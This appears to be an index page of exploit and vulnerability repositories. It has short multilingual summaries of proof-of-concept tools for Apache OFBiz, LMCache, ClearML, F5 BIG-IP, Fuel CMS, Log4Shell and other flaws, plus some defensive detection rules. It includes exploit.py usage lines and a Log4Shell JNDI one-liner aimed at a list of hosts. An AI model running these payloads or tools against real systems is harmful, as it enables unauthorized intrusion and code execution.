CVE-2024-36104

CVE-2024-36104 声明 本ツールは個人のセキュリティ研究学習のみを目的としています。本ツールの流布、利用によって生じたいかなる直接的または間接的な結果および損失も、使用者本人が責任を負うものとし、ツール作成者は一切の責任を負いません。 version = 18.12.14 NAME: Apache OFBiz - コード実行 USAGE: global options command command options arguments... COMMANDS: help, h コマンド一覧または特定コマンドのヘルプを表示 GLOBAL OPTIONS: --targeturl...

EUVD-2026-94383

LMCache through 0.5.5 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute Python code by posting scripts to the /runscript endpoint. Attackers can recover real builtins through the injected FastAPI app object, bypassing the guarded import, to...

CVE-2026-107204 LMCache through 0.5.5 Unauthenticated RCE via /run_script Endpoint

LMCache through 0.5.5 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute Python code by posting scripts to the /runscript endpoint. Attackers can recover real builtins through the injected FastAPI app object, bypassing the guarded import, to...

CVE-2026-107204 LMCache through 0.5.5 Unauthenticated RCE via /run_script Endpoint

LMCache through 0.5.5 contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute Python code by posting scripts to the /runscript endpoint. Attackers can recover real builtins through the injected FastAPI app object, bypassing the guarded import, to...

CVE-2026-107204

LMCache versions through 0.5.5 are vulnerable to an unauthenticated remote code execution (RCE) vulnerability via the /run_script endpoint. The root cause is that attackers can post scripts to this endpoint and recover real builtins through the injected FastAPI app object , which allows them to b...

CVE-2022-34718-PoC

CVE-2022-34718 IPv6 远程代码执行漏洞利用示例 该仓库包含 CVE-2022-34718 的漏洞利用代码，这是一个针对 Windows 系统上 IPv6 的远程代码执行（RCE）漏洞。 使用方法 由于该漏洞需要精心构造的 IPv6 数据包，因此依赖 Scapy 模块，并且需要以 root 权限运行。推荐通过虚拟环境运行此 PoC，如下所示： virtualenv PoC source PoC/bin/activate PoC pip3 install -r requirements.txt PoC python3 ipv6-rce-poc.py...

CVE-2017-7651

情報 このリポジトリは、Felipe Balabanian が発見 https://bugs.eclipse.org/bugs/showbug.cgi?id=529754 で使用した C++ コードを表示するために使用されます。コンパイル済みバイナリはリリースセクションにあります。 免責事項 これは私のコードではなく、いかなる作業に対してもクレジットを主張しません。...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 エクスプロイト この脆弱性を悪用するには、まだ脆弱性が存在する バージョン 2.2.3 で Tensorflow を起動するための環境を用意した Docker コンテナを立ち上げる必要があります。 構成は次のとおりです: AMD 64ビットアーキテクチャ、 AVX 命令を実行できる CPU または GPU Python 64ビット バージョン 3.6.9 Pip3 バージョン 20.2.4 Tensorflow バージョン 2.2.3 PyYAML バージョン 3.12 マシンに docker がインストールされているか確認するには、次を実行します:...

CVE-2022-22947

コピー元 オリジナル: https://github.com/whwlsfb/cve-2022-22947-godzilla-memshell https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947...

CVE-2022-40127-Airflow-RCE

Apache Airflow Apache AirflowのExample Dagsの脆弱性により、UIアクセスを持ちDAGをトリガーできる攻撃者が、手動で提供されたrunidパラメータを介して任意のコマンドを実行できます。この問題はApache Airflowのバージョン2.4.0未満に影響します。 このリポジトリは、vsocietyブログで公開されているCVE分析ブログ記事のために作成されました。 https://github.com/jakabakos/CVE-2022-40127/assets/42498816/2094f2ec-f074-41e6-99f4-f9f77dd09d...

CVE-2024-24590-ClearML-RCE-CMD-POC

ClearML エクスプロイトスクリプト このリポジトリには、CVE-2024-24590 用の Python エクスプロイトスクリプトが含まれています。このスクリプトは、ClearML に悪意のある pickle ファイルをアップロードし、リバースシェルまたはカスタムコマンドを実行するように設計されています。 特徴 悪意のある pickle アーティファクトを ClearML にアップロードします。 ターゲットマシン上でリバースシェルまたはカスタムコマンドを実行します。 カスタムプロジェクト名とタスク名をサポートします。 タスクにタグを設定できます。 使用方法 前提条件 Python...

Drupal-SA-CORE-2019-003

Drupal-SA-CORE-2019-003 CVE-2019-6340 Drupal SA-CORE-2019-003 CVE-2019-6340 CVE-2019-6340.md https://mp.weixin.qq.com/s/EQD4-K6HgBY9wdzeXeyzkg https://paper.seebug.org/821/ https://www.youtube.com/watch?v=QtLDDN0Duko linkname https://pbs.twimg.com/media/D0C-KiXX4AM2vR3.jpg:large CVE-2019-6340...

CVE-2022-1388

CVE-2022-1388-Exploit CVE 2022-1388のエクスプロイトとチェックスクリプト 使用方法 単一のホストURLに対してチェックするには python3 exploit.py -v true -u targeturl ホストを攻撃し、そのホスト上でコマンドをテストするには python3 exploit.py -a true -u targeturl -c command ホストのリストを攻撃するか、ホストURLのIPアドレスが記載されたファイルを指定する python3 exploit.py -s true -f file...

Log4Shell-Payloads

🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象： CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

CVE-2021-44228

概要 このリポジトリには、Apache Log4j 2 のリモートコード実行の脆弱性 CVE-2021-44228 に関連する侵害指標をハンティングするための OpenIOC ルールが含まれています。 これらのルールはハンティングルールと見なされており、そのため検出効果は組織によって異なります。環境に応じたチューニングを行うことで、これらのルールはアラートルールとしての展開に適する可能性があります。ルールは2つのカテゴリに分類されています: execution - このCVEに関連する可能性がある、システム上で 以前に実行された...

CVE-2020-3153

CVE-2020-3153 CVE-2020-3153のPOCコード - Cisco AnyConnectパストラバーサル脆弱性 脆弱性の詳細はこちら: https://ssd-disclosure.com/ssd-advisory-cisco-anyconnect-privilege-elevation-through-path-traversal/ SYSTEM 権限でデスクトップにWindowsシェルを取得する手順: 1. class1.csファイル内で、CAC-nc-installコマンドラインパラメータのUsername文字列を自分のユーザーアカウントディレクトリに変更します。...

CVE-2018-16763

Fuel CMS 1.4.1 - リモートコード実行 FUEL CMS 1.4.1 では、pages/select/ フィルターパラメーターまたは preview/ データパラメーターを介して PHP コード評価が可能です。これにより、認証前（Pre-Auth）リモートコード実行につながる可能性があります。 インストール git clone https://github.com/Trushal2004/CVE-2018-16763.git cd CVE-2018-16763/ python3 -m pip install -r requirements.txt chmod +x...

CVE-2021-27850_POC

CVE-2021-27850 익스플로잇 개요 CVE-2021-27850은 최신 버전의 Apache Tapestry에서 발견된 중요한 인증되지 않은 원격 코드 실행 취약점으로, AppModule.class 파일을 다운로드하여 Apache Tapestry에서 모든 직렬화된 객체를 서명하는 데 사용되는 HMAC 비밀 키를 유출할 수 있습니다. 우리는 실제 평가에서 이 CVE를 발견했으며, 제가 알기로는 Tapestry가 직렬화된 객체를 서명하는 방법에 대한 공개 익스플로잇이 없었기 때문에 Apache Tapestry 소스 코드를 오랫...

firstexecution

firstexecution 期待されたエントリポイントの外部でコードを実行するためのさまざまな方法のコレクション...

CVE-2026-107167

A flaw was found in m17n-lib. A user providing specially crafted text input can trigger a heap use-after-free condition during input-method state transitions. Under specific conditions, the library frees an internal input context object but subsequently attempts to write to that freed memory. Thi...